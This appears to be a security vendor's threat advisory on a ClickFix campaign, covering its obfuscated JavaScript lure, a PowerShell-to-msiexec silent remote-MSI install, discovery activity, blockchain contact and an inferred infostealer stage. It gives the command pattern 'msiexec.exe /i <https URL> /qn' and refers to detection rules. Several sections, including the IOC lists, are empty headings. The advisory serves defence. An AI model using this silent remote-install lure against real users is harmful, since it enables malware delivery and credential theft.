SL-ADV-2026-WP-001 · v14.10 — Omegatech ClickFix → msiexec remote-MSI → EtherHiding / Donut

1 · Executive summary

On 2026-08-24 a fresh detonation of the WP-002 chain was captured from the compromised Israeli lure host gbcu.org.il. The victim was steered through a ClickFix clipboard-paste overlay whose client stage (/mpackage.js, a ~132 KB VM-obfuscated JavaScript) plants a silent remote-MSI command:

This replaces the v14.9 IRM → password-ZIP → build.exe path with an msiexec LOLBIN (T1218.007) pulling the payload MSI over HTTPS. Three victim sessions were observed (1787536535958-i0cxy4o51787536610190-oqlgj67r1787536664828-xhrcamir); the last was leaked verbatim into Edge's Bing "parachute" search telemetry, confirming the clipboard-paste vector.

2 · Kill chain (this wave)

Only stages up to and including the MSI delivery + EtherHiding contact were observed on the wire. The final stage is greyed as inferred.

3 · Why this is v14, not v15 — anchor analysis

Delivery re-tooling and domain rotation are exactly what a wave does; the cryptographic identity is what a family is. Both durable-key and durable-IP anchors held, so this is filed as v14.10.

4 · Behavioural analysis — what the processes are doing

• ClickFix client stage (mpackage.js). A register-based bytecode-interpreter obfuscator (roots vmc_18c7e2 / vmZ_87c30c, runtime tokens _$RAq1ry / _$0rYh5S / _$Xvwae7). It hooks navigator, document, window, XMLHttpRequest, atob, setTimeout and drives the paste-run overlay. Notably, the C2/MSI strings are held encoded in the VM constant pool — not present as plaintext — which is why network-layer and command-line detection matter more than static string hunts here.
• PowerShell → msiexec hand-off. The pasted one-liner has PowerShell spawn msiexec.exe /i <https URL> /qn. The /qn makes the install fully silent; the remote URL turns msiexec into the downloader, so no separate stager binary touches disk in this wave.
• Discovery (observed). Browser Information Discovery (T1217), Query Registry (T1012), System Information Discovery (T1082), System Time Discovery (T1124) — consistent with the family's pre-exfil host survey.
• EtherHiding (observed contact). TLS to bsc-testnet-rpc.publicnode.com — the family's blockchain read-layer bootstrap. Transport only; do not block.
• Downstream (inferred, not observed here). Per lineage: CLR-hosted Donut .NET infostealer, browser credential/cookie/wallet collection, AES-over-raw-TCP exfil with the session key RSA-wrapped under the durable C2 key, and signed-binary + DUI70.dll sideload persistence.

5 · Network IOCs

Host / command-line IOCs

Durable pivots (family)

6 · MITRE ATT&CK (Enterprise v16)

7 · Companion artifacts

• SL-ADV-2026-WP-001_v14_10.stix.json — STIX 2.1 bundle (deterministic UUIDv5 seeded on secureleaf.dispensight.com; validated).
• SL-ADV-2026-WP-001_v14_10.yara — YARA (prologue, CAPI RSA1 blob, msiexec/MSI marker, mpackage.js VM-stage, imphash anchors; compiled & verified).
• SL-ADV-2026-WP-001_v14_10.sigma.yml — Sigma (msiexec remote-MSI, DNS IOCs, C2 IP contact, cleartext mpackage.js fetch).